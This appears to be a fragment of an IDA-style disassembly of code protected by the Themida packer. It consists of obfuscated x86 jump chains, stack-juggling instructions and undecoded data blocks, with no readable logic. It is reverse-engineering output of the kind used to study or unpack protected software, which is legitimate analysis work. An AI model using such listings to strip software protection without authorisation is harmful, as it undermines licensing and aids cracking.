		mov	edx, [esp]
		add	esp, 4
		and	eax, ebx
		pop	ebx
		jmp	loc_59346D
; ---------------------------------------------------------------------------


loc_594A85:				; CODE XREF: Themida_:0059F6EAj
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		push	esi
		xchg	ecx, [esp]
		not	ecx
		xchg	ecx, [esp]
		pop	esi
		xor	eax, esi
		xor	esi, eax
		xor	eax, esi
		push	ebx
		push	1213h
		mov	[esp], edx
		push	edi
		push	7EE54D7Dh
		mov	edi, [esp]
		add	esp, 4
		xor	edi, 7EE54D7Ch
		mov	edx, edi
		pop	edi
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp]
		mov	esp, [esp]
		mov	[esp], edx
		jmp	loc_59A8DE
; ---------------------------------------------------------------------------
		db 0FFh
		dd 83582434h, 875B04C4h, 895C240Ch, 3DB22414h, 88D58851h
		dd 240C8BEBh, 4C481h, 0E3E90000h, 54FFFFE6h, 5024048Bh
		dd 3106E9h, 8BD18800h, 0D9E92414h
		db 85h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_594B0F:				; CODE XREF: Themida_:00595634j
		mov	ebx, 0A6F859CEh
		jmp	loc_597D30
; ---------------------------------------------------------------------------


loc_594B19:				; CODE XREF: Themida_:0058FBCAj
		mov	edx, [esp]
		jmp	loc_599E66
; ---------------------------------------------------------------------------
		db 0D1h, 0EEh, 46h
		dd 0E54EEE81h, 0D2E969D2h, 68FFFF9Ah, 5643380Eh, 83241C8Bh
		dd 30E904ECh
		db 0C8h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_594B3F:				; CODE XREF: Themida_:00598B83j
		and	eax, ebp
		mov	ebp, [esp]
		add	esp, 4
		shr	eax, 12h
		xor	eax, ecx
		push	6126h
		mov	[esp], eax
		jmp	loc_596B34
; ---------------------------------------------------------------------------
		db 42h,	0E9h, 7
		db 0A5h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_594B5F:				; CODE XREF: Themida_:00596AE4j
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], edi
		push	eax
		mov	eax, esp
		jmp	loc_59B89A
; ---------------------------------------------------------------------------
		dw 14BDh
		dd 0E9520647h, 0FFFFD36Bh, 53E3BB53h, 0E3C15B45h, 81D3F704h
		dd 75AD23EBh, 0A44FE9E4h, 0BD55FFFFh, 19B4CEC2h, 895DEF01h
		dd 0EEC15FFEh, 23F68107h, 0E965AF6Ah, 0A2E0h
; ---------------------------------------------------------------------------


loc_594BA8:				; CODE XREF: Themida_:0059D988j
		mov	esp, [esp]
		jmp	loc_598AFF
; ---------------------------------------------------------------------------
		dd 41FFE983h, 0DFF7F987h, 5057F987h, 4E3BBBB8h,	0C826E96Eh
		dd 0E9560000h, 8C42h, 0E95AD729h, 0AEF0h
; ---------------------------------------------------------------------------


loc_594BD4:				; CODE XREF: Themida_:005A01B0j
		mov	ecx, 0BDDD09F8h
		add	ebp, ecx
		pop	ecx
		mov	edi, ebp
		mov	ebp, [esp]
		add	esp, 4
		add	esi, edi
		pop	edi
		and	eax, esi
		jmp	loc_5991B7
; ---------------------------------------------------------------------------
		db 87h,	34h, 24h
		dd 243C895Ch, 42474FFh,	81243C8Bh, 4C4h, 24048F00h, 8124248Bh
		dd 4ECh, 243C8900h, 4EC81h, 14890000h, 50B16824h, 815A2C5Fh
		dd 0BB0863E2h, 0F7524229h, 0A3E92414h, 51000049h, 0C181E189h
		dd 4, 4E981h, 0C870000h, 75E95C24h, 89000044h, 58542404h
		dd 424A68h, 24348900h, 468h, 24348B00h,	4C481h,	0F0010000h
		dd 4C0835Eh, 70A1E9h
		db 0
; ---------------------------------------------------------------------------


loc_594C71:				; CODE XREF: Themida_:0059CFBCj
		mov	ebx, [esp]
		push	edx
		push	esp
		pop	edx
		jmp	loc_5A201E
; ---------------------------------------------------------------------------


loc_594C7C:				; CODE XREF: Themida_:00594452j
		neg	edx
		neg	edx
		push	ebp
		mov	ebp, 416E077Dh
		or	edx, ebp
		pop	ebp
		xor	edx, 7684744Ch
		xor	edx, 1AB03DD2h
		add	ecx, edx
		mov	edx, [esp]
		add	esp, 4
		push	edx
		mov	edx, 0F9D078Ah
		add	edx, 25E6D07h
		push	eax
		mov	eax, 280142B6h
		add	edx, eax
		pop	eax
		neg	edx
		inc	edx
		add	edx, 6ADFDA56h
		jmp	loc_59BCAF
; ---------------------------------------------------------------------------
aVwsU		db 'VWé$“',0
		dw 8900h
		dd 4C581E5h, 0E9000000h, 63AEh,	7951BD55h, 6C2919DBh, 0E95D0424h
		dd 0FFFFDE52h, 951AE95Ah, 89520000h, 4C281E2h, 83000000h
		dd 148704C2h, 0F5E95C24h, 0BE00008Fh, 106619ACh, 0E908EEC1h
		dd 0FFFFF84Dh, 0DAE95659h, 54FFFFE9h, 5E2434FFh, 5304C483h
		dd 8A2E12BBh, 77CDE90Ah, 5F540000h, 4BB53h, 0DF010000h
		dd 0FFBC7DE9h, 62F281FFh, 0E9EEB07Ah, 8061h, 0E9F0295Bh
		dd 0B141h, 1415C581h, 0DD010947h, 1415ED81h, 1C8B0947h
		dd 0E6895624h, 4C681h, 0C6810000h, 4, 42FFE9h, 81E68900h
		dd 4C6h, 4EE8100h, 87000000h, 248B2434h, 241C8924h, 746909BBh
		dd 5BD5503h, 29037469h,	0B1E95DEBh, 5DFFFFFFh, 76F4F581h
		dd 6C812C55h, 44550424h, 448132A4h, 5E550424h, 6C810D27h
		dd 74040424h, 6C8165A5h, 77E40424h, 6C0122C3h, 3DE90424h
		dd 9FFFFF5h, 243C8BFEh,	0C104C483h, 32E906E6h, 0FF000068h
		dd 34E92434h, 53000042h, 0C381E389h, 4,	0D817E950h, 48BFFFFh
		dd 4C48324h, 0ADEFE9h, 9555E900h, 5751FFFFh, 0FFDFC1E9h
		dd 0C00B59FFh, 0A030840Fh, 4680000h, 89000057h,	0E9562404h
		dd 0ACF9h, 435068h, 24348900h, 2D16BD55h, 0ED8160ABh, 36D84308h
		dd 6EE5E9h, 243C8900h, 0B951E789h, 51E549D8h, 0E905E1C1h
		dd 0C53Dh, 0B4B9B151h, 59CC0090h, 11E9D4F6h, 2D000069h
		dd 19253290h, 4EC8148h,	89000000h, 0FBA2414h, 50592661h
		dd 34672BB8h, 0A8F8E90Fh, 0E959FFFFh, 55CCh, 8104C483h
		dd 0BA720AF7h, 75DF6842h, 3C890000h, 4EC8124h, 0E9000000h
		dd 0FFFFA100h
dword_594E98	dd 6AE932FFh, 10000C3h,	0D69DE9F8h		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_594EA6:				; CODE XREF: Themida_:005A1A02j
		pop	ebx
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_5924B6
; ---------------------------------------------------------------------------


loc_594EB0:				; CODE XREF: Themida_:0059E355j
		mov	edx, [esp]
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_591546
; ---------------------------------------------------------------------------
		db 49h,	81h, 0ECh
		dd 4, 0BE243489h, 38901896h, 0F75EF109h, 0E3C181D1h, 513BDB1Ah
		dd 0BEE95958h, 68000046h, 11B245AAh, 52240C8Bh,	6EE9E289h
		dd 810000D0h, 0DB1100F5h, 5DE80143h, 3304C083h,	4312404h
		dd 24043324h, 5324248Bh, 4BBh, 3CAC0500h, 0D8012C79h, 0FFE5A3E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_594F25:				; CODE XREF: Themida_:0059EB73j
		mov	esi, 339F5969h
		jmp	loc_59A4FF
; ---------------------------------------------------------------------------
		db 0C1h
		dd 0C14E05EEh, 85E904EEh, 29000010h, 0BE951C8h,	4E000004h
		dd 0FFBFF9E9h, 242C89FFh, 2434FF5Bh, 3CE9505Dh
		db 0C2h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_594F57:				; CODE XREF: Themida_:0059CB4Fj
		or	edi, 11505075h
		xor	edi, 14CB697Dh
		xor	edi, 96A0F9Ah
		push	ebx
		push	ecx
		mov	ecx, 5EBC0520h
		and	ecx, 20E93C2Ch
		not	ecx
		jmp	loc_5A1227
; ---------------------------------------------------------------------------


loc_594F7D:				; CODE XREF: Themida_:0059FC92j
		add	ebp, eax
		jmp	loc_59A568
; ---------------------------------------------------------------------------
aBZ1XsT		db 'º#±Á)ÐZ1ÇXé',7,'â',0
		align 4
		dd 24048F58h, 0B5DDE95Ch, 0E1890000h, 5891BF57h, 9CE92FFFh
		dd 66FFFF9Fh, 0E9240C8Bh, 0FFFFE5FAh
; ---------------------------------------------------------------------------


loc_594FB4:				; CODE XREF: Themida_:0058FCB3j
		inc	bl
		xor	bl, 17h
		mov	ch, bl
		pop	ebx
		xor	ch, bh
		pop	ebx
		jmp	loc_5983C9
; ---------------------------------------------------------------------------


loc_594FC4:				; CODE XREF: Themida_:0059D263j
		add	cl, 0C9h
		shl	cl, 4
		xor	cl, 9Eh
		xor	cl, 80h
		push	edx
		mov	dh, cl
		mov	ah, dh
		pop	edx
		mov	ecx, [esp]
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		push	ebx
		mov	bl, ah
		mov	dl, bl
		jmp	loc_593A22
; ---------------------------------------------------------------------------


loc_594FFE:				; CODE XREF: Themida_:00596407j
		mov	edx, 4F5F529Ah
		sub	eax, edx
		mov	edx, [esp]
		jmp	loc_58FFE1
; ---------------------------------------------------------------------------
		db 66h,	8Bh, 14h
		dd 2C48124h, 66000000h,	56241C8Bh, 0C681E689h, 4, 0C699E9h
		db 0
; ---------------------------------------------------------------------------


loc_595029:				; CODE XREF: Themida_:0058E57Aj
		mov	ecx, edx
		pop	edx
		add	ecx, 59710694h
		jmp	loc_59B0A8
; ---------------------------------------------------------------------------
		db 54h
		dd 0E9242C8Bh, 0FFFFE086h, 815DEB89h, 4ECh, 24048900h
		dd 8A2611B8h, 0C1D8F738h, 0C14002E0h, 0E8C102E8h, 1AD70503h
		dd 0C301DED1h, 16D36858h, 1C890000h, 2B13BB24h,	0D8297223h
		dd 0E9D8015Bh, 1E48h, 9BD1CEBFh, 5CC18151h, 8164A075h
		dd 135673E9h, 132AE955h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_595092:				; CODE XREF: Themida_:0058F4DBj
		push	esi
		mov	esi, 7CA55DEDh
		sub	ebp, esi
		pop	esi
		and	ebp, 49EC77FDh
		jmp	loc_5983BA
; ---------------------------------------------------------------------------
		dw 0D7F7h
		dd 1941E950h, 81660000h, 6604C7F6h, 0FCBD6655h,	0EE01667Dh
		dd 600FE9h, 24048900h, 0B1ABA52h, 0D08949D4h, 25D0F75Ah
		dd 0ADD40A9h, 113BE56h,	0EE8174BCh, 0FFFFFFFFh,	5301C683h
		dd 3906C5BBh, 5B17E913h, 0C7810000h, 4,	8904EC83h, 0E953240Ch
		dd 65ABh, 3468D586h, 89000041h,	0F3B42404h, 68h, 0B806E900h
		dd 0ED810000h, 3674652Ah, 0BB535Eh, 29000000h, 0E38953EBh
		dd 4C381h, 0BD550000h, 4, 0E95DEB29h, 65E9h, 8B2434FFh
		dd 0C483240Ch, 4C48304h, 0E924148Bh, 74F3h, 2DE7C581h
		dd 0DD014CFAh, 2DE7ED81h, 1C8B4CFAh, 19E95724h,	5E0000A3h
		dd 0FFBE45E9h, 240481FFh, 4, 40558h, 0AA680000h, 89000022h
		dd 0EC81243Ch, 4, 0BE243489h, 51BE04B3h, 815EF789h, 0F53077C7h
		dd 9DE78144h, 8152600Fh, 0FFFFFFC7h, 3BD55FFh, 31122005h
		dd 242C8BEFh, 4C481h, 0EAE90000h, 0C1FFFFDCh, 20E908EEh
		dd 83FFFFB6h, 248904ECh, 24048124h, 4, 0EDDE958h, 315B0000h
		dd 1C33241Ch, 0C162E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5951E2:				; CODE XREF: Themida_:0059BA74j
		pop	esi
		push	eax
		pop	ebx
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_5A0F22
; ---------------------------------------------------------------------------
a_hx		db '_hå"',0
		dd 24348900h, 1FA8E9h, 0E7895700h, 4C781h, 6AE90000h, 5D00002Fh
		dd 61D4C781h, 46E94B02h
		db 4, 2	dup(0)
; ---------------------------------------------------------------------------


loc_59521B:				; CODE XREF: Themida_:005A2474j
		xchg	ecx, [esp]
		pop	esp
		push	41ECh
		mov	[esp], ebp
		push	edx
		push	1CF40E1Fh
		mov	edx, [esp]
		add	esp, 4
		xor	edx, 571A0C58h
		push	esi
		mov	esi, 65381F7Dh
		add	esi, 0FE33F1Dh
		jmp	loc_5953EB
; ---------------------------------------------------------------------------


loc_59524D:				; CODE XREF: Themida_:005A004Bj
		xor	ecx, 93EB9947h
		mov	ebp, ecx
		jmp	loc_595632
; ---------------------------------------------------------------------------
		dw 0DD01h
		dd 242C875Bh, 6624248Bh, 8950E9F7h, 405E0h, 0E8830000h
		dd 0EEB4E904h, 0C281FFFFh, 0ADC72F9h, 56E9DA01h, 8B0000B5h
		dd 89572404h, 4C781E7h,	81000000h, 4C7h, 243C8700h, 0FDE9515Ch
		db 34h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_59529F:				; CODE XREF: Themida_:0059A64Cj
		pop	esi
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 38D65855h
		xor	ebp, edi
		jmp	loc_596D3A
; ---------------------------------------------------------------------------
		db 83h,	0C3h, 4
		dd 31241C33h, 1C33241Ch, 0E95E5C24h, 2F44h, 4C4815Dh, 0E9000000h
		dd 0FFFFB8F7h, 0E32FC181h, 0D9F7254Ch, 0F181D9F7h, 25D7693Ah
		dd 0A9E9CE01h, 570000A0h, 0EC05E6BFh, 247C0144h, 0E95F5F04h
		dd 0BC45h, 0ADE95453h
		db 0CDh, 2 dup(0)
byte_595303	db 0ADh			; DATA XREF: Themida_:0058E1C4o
		dd 8904EC83h, 0E9532434h, 0FFFFD864h
; ---------------------------------------------------------------------------


loc_595310:				; CODE XREF: Themida_:00599D7Fj
		mov	ebp, ebx
		pop	ebx
		add	ebp, 0AD93886Ch
		add	eax, 6BB4063Ah
		add	eax, ebp
		sub	eax, 6BB4063Ah
		pop	ebp
		xchg	eax, [esp]
		mov	esp, [esp]
		push	759Fh
		mov	[esp], ebx
		jmp	loc_5957F2
; ---------------------------------------------------------------------------
		db 5Ch,	0FFh, 34h
		dd 2434FF24h, 81240C8Bh, 4C4h, 8E04E900h, 0EAB90000h, 817FC776h
		dd 0F76CE6F1h, 59C82916h, 81240C8Bh, 4C4h, 10120500h, 0D00175DDh
		dd 0DD10122Dh, 4EC8375h, 0BD242C89h, 151747C2h,	0FFD962E9h
		dd 24348BFFh, 81E18951h, 4C1h, 4C18300h, 5C240C87h, 0E9243C33h
		dd 0FFFFE7FDh
; ---------------------------------------------------------------------------


loc_59539C:				; CODE XREF: Themida_:005A2002j
		sub	ecx, ebp
		pop	ebp
		jmp	loc_59EB03
; ---------------------------------------------------------------------------
		dd 4BD55h, 0F5E90000h, 0FF000017h, 0E95F2434h, 0D1DEh
		dd 4CED8145h, 1C17639h,	0E5055DE8h, 15E6F09h, 984CE9C8h
		dd 2C8B0000h, 0E1895124h, 4C181h, 0C1830000h, 240C8704h
		dd 0FFE8895Ch, 1FE92434h
		db 0C3h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5953EB:				; CODE XREF: Themida_:00595248j
		sub	esi, 7B7F6544h
		sub	esi, 2B1F6067h
		xor	esi, 975B9ED5h
		and	edx, esi
		jmp	loc_59CBC5
; ---------------------------------------------------------------------------
		dd 0EB81FB01h, 40AB0079h, 241C335Fh, 33241C31h,	248B241Ch
		dd 0DDBE924h, 2D5A0000h, 4, 8B240487h, 34892424h, 57E68924h
		dd 4BFh, 3BA2E900h, 0BF570000h,	67A17329h, 99CFE9h, 0F6C7FE00h
		dd 68D7h, 3C280000h, 243C8A24h,	0E904C483h, 0A23h
aN_uacWsWcmrFN1	db '­-_UAc)ØWS»WcŒr¿(FÅn1ß[h-(',0 ; DATA XREF: Themida_:0058E114o
		align 4
		dd 0FFA5D0E9h, 7E6C1FFh, 0A104C681h, 0F201D055h, 0FFD2FEE9h
		dd 0C68159FFh, 6856A453h, 0D7E9F289h, 5B0000D4h, 1FE42548h
		dd 112D4870h, 5557518h,	15050EB3h, 3062E9h, 0D8885000h
		dd 88C78853h, 48B5BF9h,	0E3895324h, 4C381h, 0C3830000h
		dd 0CC72E904h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5954CE:				; CODE XREF: Themida_:00596015j
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		push	ebx
		mov	bl, 35h
		or	dh, bl
		pop	ebx
		push	ax
		jmp	loc_592C8D
; ---------------------------------------------------------------------------
		db 0C1h
		dd 0D2E903E5h
		db 0DCh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5954F3:				; CODE XREF: Themida_:0059FC67j
		not	esi
		sub	esi, 46299EDh
		xor	edx, esi
		pop	esi
		sub	ecx, edx
		pop	edx
		jmp	loc_5985CF
; ---------------------------------------------------------------------------
		dw 0E589h
		dd 43BE5651h, 685B6238h, 5B623847h, 0C0F2E9h, 93E95800h
		dd 2D000024h, 43AC6E58h, 886BE9h, 81DE2900h, 1957DCEEh
		dd 0D1A1E912h, 1C890000h, 8624E924h, 248B0000h,	40BA5224h
		dd 1000000h, 5A1A89FAh,	9BE95A5Bh, 5B000049h, 3C8BFA01h
		dd 4C48124h, 68000000h,	89Fh, 61E0E9h, 88E28800h, 52E95AD1h
		dd 89000042h, 5D54242Ch, 7445B951h, 0F1810B94h,	60B35F8Eh
		dd 0FF9D27E9h, 2A685DFFh, 89000044h, 95B82404h,	5428C0Ah
		dd 1C2E1428h, 6F2CE9h, 4C48300h, 9C25E956h, 575EFFFFh
		dd 205F19BFh, 0E9FE3153h, 0FFFFC6C8h, 7B66F381h, 0BE5605FFh
		dd 56014C85h, 72D3E9h
		db 0
; ---------------------------------------------------------------------------


loc_5955C9:				; CODE XREF: Themida_:005A202Aj
		xchg	edx, [esp]
		pop	esp
		mov	edx, [esp]
		add	esp, 4
		add	al, ch
		mov	ecx, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], edx
		push	0C4Eh
		mov	[esp], ebx
		jmp	loc_5A24EE
; ---------------------------------------------------------------------------
		db 0FEh
		dd 81D6F6CEh, 4ECh, 24048900h, 0EC80C9B4h, 0E9C4FE2Fh
		dd 0FFFF9EA7h, 0CAF5815Dh, 0E91FA879h, 0FFFFF2A4h, 31241433h
		dd 14332414h, 24248B24h, 2A0168h, 5EBCE900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_595632:				; CODE XREF: Themida_:00595255j
		pop	ecx
		push	ebx
		jmp	loc_594B0F
; ---------------------------------------------------------------------------


loc_595639:				; CODE XREF: Themida_:0059C15Dj
		add	esp, 4
		push	1D0Ch
		mov	[esp], edi
		mov	edi, esp
		push	edx
		push	eax
		mov	eax, 4
		mov	edx, eax
		pop	eax
		jmp	loc_5A2933
; ---------------------------------------------------------------------------
		dd 0FFEF834Fh, 0CDE9E9h, 1EC78100h, 0E9574646h,	7D00h
		dd 0AC68E089h, 89000049h, 468240Ch, 0E9000000h,	746Ch
		dd 68243489h, 12F296Bh,	0FFFF1DE9h, 242C89FFh, 0FFE603E9h
		dd 4C781FFh, 81000000h,	4EFh, 243C8700h, 80DDE95Ch, 0EE830000h
		dd 24348704h, 0FFAFB0E9h, 242C89FFh, 6F3E9h, 69A36800h
		dd 4890000h, 0C693E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5956CA:				; CODE XREF: Themida_:00592D16j
		add	ebp, 4
		xor	ebp, [esp]
		jmp	loc_5968FD
; ---------------------------------------------------------------------------
aI4S_		db '\‰4$é$_',0
		align 2
word_5956DE	dw 34FFh		; DATA XREF: Themida_:0058E0B8o
		dd 24048B24h, 0FFD08AE9h, 241489FFh, 243A68h, 48F5400h
		dd 4B85024h, 1000000h, 58042444h, 8124148Bh, 4C4h, 93B85000h
		dd 56602C50h, 564666BEh, 5EF00144h, 1C1068h, 24148900h
		dd 0FF9AD2E9h, 24248BFFh, 4F52E9h, 0E9F58900h, 0FFFFA3F7h
		dd 4245429h, 8324148Bh,	34FF04C4h, 0CC6BE924h, 6858FFFFh
		dd 7104h, 89241C89h, 0ACF8E9E3h, 0F201FFFFh, 9D8EA81h
		dd 815E0F1Eh, 0CB594BF2h, 4FF5230h, 0EA815A24h,	97198CB8h
		dd 5F5AD601h, 4C681h, 34330000h, 24343124h, 5C243433h
		dd 148BD030h, 4C48324h,	6623B050h, 0E98CB551h, 1A23h
; ---------------------------------------------------------------------------


loc_595798:				; CODE XREF: Themida_:0059368Cj
		push	esi
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		jmp	loc_58F975
; ---------------------------------------------------------------------------
		dd 0C82D58BBh, 74700542h, 0D8295C38h, 0AF5AE9h,	0CB75300h
		dd 88F98851h, 240C8BCCh, 4C481h, 685B0000h, 4Dh, 81241C89h
		dd 4ECh, 24048900h, 0D1C9E9h, 4EC8300h,	89243489h, 93D4E9E6h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5957F2:				; CODE XREF: Themida_:00595334j
		mov	ebx, 6C334CF2h
		jmp	loc_59A4BC
; ---------------------------------------------------------------------------
		dd 8DBFE952h, 2D58FFFFh, 485525BEh, 3F35D0F7h, 89FF61B7h
		dd 540158C2h, 15E90424h, 55000033h, 1581E9h
		db 0
byte_595821	db 66h,	8Bh, 4		; DATA XREF: Themida_:0058E2B4o
		dd 4EC8324h, 0CF2DE9h, 20FE6800h, 0C890000h, 38476824h
		dd 525942F6h, 4936FD68h, 0F1E95A15h, 58000028h,	24048B59h
		dd 0BB83E9h
		db 0
; ---------------------------------------------------------------------------


loc_595851:				; CODE XREF: Themida_:0059CB80j
		push	654h
		mov	[esp], ebp
		jmp	loc_5A2E0C
; ---------------------------------------------------------------------------
		dw 489h
		dd 75E8B824h, 0C6890BA8h, 0CFE68158h, 5562CF31h, 0FFF2F9E9h
		dd 241489FFh, 2B8FE9h, 6DC38100h, 8166B130h, 0ABB995F3h
		dd 19590581h, 0D829313Bh, 3B19592Dh, 8330E931h,	5E5F0000h
		dd 0E9241433h, 0B4BCh, 0ACE9D5F6h, 8FFFFFEEh, 555C2404h
		dd 0AC2CA0BDh, 7DC8E913h, 34890000h, 4BE24h, 68E90000h
		dd 0BA000096h, 1, 0B0E9D129h, 0FF0000A2h, 565F2434h, 0FFBA2DE9h
		dd 241C89FFh, 0FF94D2E9h, 0BCC281FFh, 819548D2h, 4ECh
		dd 0EE56E900h, 0C31FFFFh, 240C3324h, 0C331665Ch, 0FFEEC9E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_595905:				; CODE XREF: Themida_:00591EDEj
		or	eax, 5ABA2206h
		shl	eax, 5
		sub	eax, 7F4973C6h
		xor	ebp, eax
		pop	eax
		shr	ebp, 4
		push	eax
		push	edx
		mov	edx, 3ED156D7h
		mov	eax, edx
		jmp	loc_58FD21
; ---------------------------------------------------------------------------
		dw 0D366h
		dd 0E99C243Ch, 3A03h, 65F4BE56h, 0DEF71FCCh, 3473E9h, 64E95C00h
		dd 810000CCh, 0D35AC6EDh, 3936E93Ah, 815F0000h,	7D581FCFh
		dd 0F2EF8161h, 0E92A1565h, 87CBh, 24048966h, 0FF89EAE9h
		dd 242C89FFh, 0ABE56h, 0EC830000h, 240C8904h, 49D2E956h
		dd 0C7810000h, 48E5B06h, 0EF81CF01h, 48E5B06h, 0DA4EF81h
		dd 0BA52237Bh, 497744A0h, 0F5E9D729h
		db 5Eh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_59599F:				; CODE XREF: Themida_:005A313Ej
		sub	esp, 4
		mov	[esp], ebx
		not	dword ptr [esp]
		pop	ebx
		jmp	loc_5A31B8
; ---------------------------------------------------------------------------
		db 8Bh,	2 dup(24h)
		dd 0BD242C89h, 5FD7660Ch, 5E29B951h, 5CE938A6h,	89000019h
		dd 4BA2414h, 1000000h, 0E4E95AD5h, 4FFFFCDh, 2CD000ADh
		dd 24148BADh, 5104C483h, 0FFEC15E9h, 5BD829FFh,	1973C781h
		dd 0C70116F9h, 1973EF81h, 16E916F9h, 5AFFFF99h,	8422E951h
		dd 0CF010000h, 81240C8Bh, 4C4h,	74FF5700h, 8F5F0424h, 1AE92404h
		db 0D3h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_595A1F:				; CODE XREF: Themida_:005916A3j
		mov	edi, esp
		push	ebp
		push	1557630Fh
		jmp	loc_596B42
; ---------------------------------------------------------------------------
		dd 3304E883h, 4312404h,	24043324h, 0BC7BE95Ch, 1C89FFFFh
		dd 81E38924h, 4C3h, 0B946800h, 3C890000h, 0A13BE924h, 1489FFFFh
		dd 4EC8124h, 54000000h,	8124048Fh, 42404h, 148B0000h, 4C48324h
		dd 16C768h, 0A7FCE900h,	0E7890000h, 7C62E9h
		db 0
byte_595A81	db 0FFh, 77h, 1Ch	; DATA XREF: Themida_:0058E2C8o
		dd 0FF2434FFh, 0E9582434h, 0F88h
dword_595A90	dd 240C8B66h, 6B1A68h, 243C8900h, 243C8B54h, 4EC81h, 2C890000h
					; DATA XREF: Themida_:0058E140o
		dd 40E95424h
		db 0AFh, 2 dup(0)
; ---------------------------------------------------------------------------


loc_595AAF:				; CODE XREF: Themida_:0058E7A6j
		add	esi, 0A7103902h
		and	ecx, esi
		jmp	loc_595CB6
; ---------------------------------------------------------------------------


loc_595ABC:				; CODE XREF: Themida_:0058F310j
		pop	eax
		sub	eax, 0F492E9DCh
		and	ebp, eax
		pop	eax
		or	ebp, 78DD4AAEh
		neg	ebp
		not	ebp
		jmp	loc_59A62A
; ---------------------------------------------------------------------------
		dd 0E902C780h, 4643h
; ---------------------------------------------------------------------------


loc_595ADC:				; CODE XREF: Themida_:00595E9Cj
		push	eax
		mov	ah, 0E9h
		mov	bh, ah
		pop	eax
		sub	al, bh
		pop	bx
		push	dword ptr [esp]
		pop	edx
		push	eax
		mov	eax, esp
		jmp	loc_593292
; ---------------------------------------------------------------------------
		dw 0E7C1h
		dd 0B240E903h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_595AFA:				; CODE XREF: Themida_:005907A4j
		push	dword ptr [esp]
		mov	ecx, [esp]
		add	esp, 4
		add	esp, 4
		pop	edx
		jmp	loc_5A001D
; ---------------------------------------------------------------------------
aIXSro		db '‰ÆX]éào',0
		align 4
		dd 9D70C4BFh, 0E9FA29D2h, 82B6h, 8B2434FFh, 49E92404h
		dd 810000AEh, 674C12C6h, 4CF68156h, 9C54A37h, 6EE95EF1h
		dd 33000062h, 248B242Ch, 24042824h, 8801E99Ch, 0E181FFFFh
		dd 6AD27BA0h, 1E01E981h, 0CCE97398h, 4E0000CBh,	0FF973CE9h
		dd 5EF709FFh, 0E733BB53h, 0DF3118B5h, 5B2434FFh, 4946E952h
		dd 0B1510000h, 59CB30BCh, 22E9D3F6h, 58FFFF9Bh,	0FFA0D7E9h
		dd 0FFC183FFh, 36A7F181h, 0C8892FCAh, 73E99759h, 29FFFF90h
		dd 0EE2D5EF0h, 2950394Fh, 4FEE05E8h, 9055039h, 8B7DB20Fh
		dd 0C483242Ch, 68C33104h, 434Eh, 0E9241C89h, 932Eh, 348BF031h
		dd 0AE28E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_595BD6:				; CODE XREF: Themida_:0058EDB2j
		mov	ebp, 4
		add	edx, ebp
		pop	ebp
		xor	edx, [esp]
		xor	[esp], edx
		jmp	loc_5A0EC7
; ---------------------------------------------------------------------------
		db 89h,	14h, 24h
		dd 0E904EC83h, 2975h, 4246C01h,	4244481h, 0F947751h, 4246C81h
		dd 3EFD2530h, 5E17E95Dh, 0D3F70000h, 5BF7C381h,	0DD29B9D2h
		dd 0ED815Bh, 5B404107h,	0FFBC1AE9h, 1B951FFh, 89000000h
		dd 240C8BCFh, 0E904C483h, 25BEh
; ---------------------------------------------------------------------------


loc_595C38:				; CODE XREF: Themida_:0059EB0Aj
		mov	esi, 600C41BEh
		add	ebx, esi
		pop	esi
		sub	ebx, ecx
		jmp	loc_590772
; ---------------------------------------------------------------------------


loc_595C47:				; CODE XREF: Themida_:0058E7CFj
		push	ebx
		jmp	loc_590460
; ---------------------------------------------------------------------------
		db 81h,	0C5h, 4
		dd 87000000h, 248B242Ch, 74FF5224h, 0DFE90424h,	53000071h
		dd 42474FFh, 0FFBA87E9h, 0F6815EFFh, 5EC32879h,	355EF089h
		dd 1C074DF7h, 54E9C129h, 5BFFFFEEh, 42Dh, 24048700h, 2434895Ch
		dd 0C681E689h, 4, 78EAE9h, 4C48300h, 5D9E6866h,	241C8966h
		dd 4EC81h, 0C890000h, 6C17E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_595CB6:				; CODE XREF: Themida_:00595AB7j
		pop	esi
		neg	ecx
		push	ebx
		mov	ebx, 623D55DAh
		shl	ebx, 8
		jmp	loc_5A05A7
; ---------------------------------------------------------------------------
		db 89h
		dd 4832424h, 815A0424h,	4C2h, 777C6800h, 34890000h, 2BE24h
		db 2 dup(0)
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], edi
		mov	edi, 0B052177h
		add	edx, edi
		pop	edi
		add	edx, esi
		push	6D01h
		mov	[esp], esi
		push	eax
		push	ecx
		push	10606E0h
		pop	ecx
		neg	ecx
		push	eax
		mov	eax, 0F6146B5h
		add	ecx, eax
		jmp	loc_591F9A
; ---------------------------------------------------------------------------
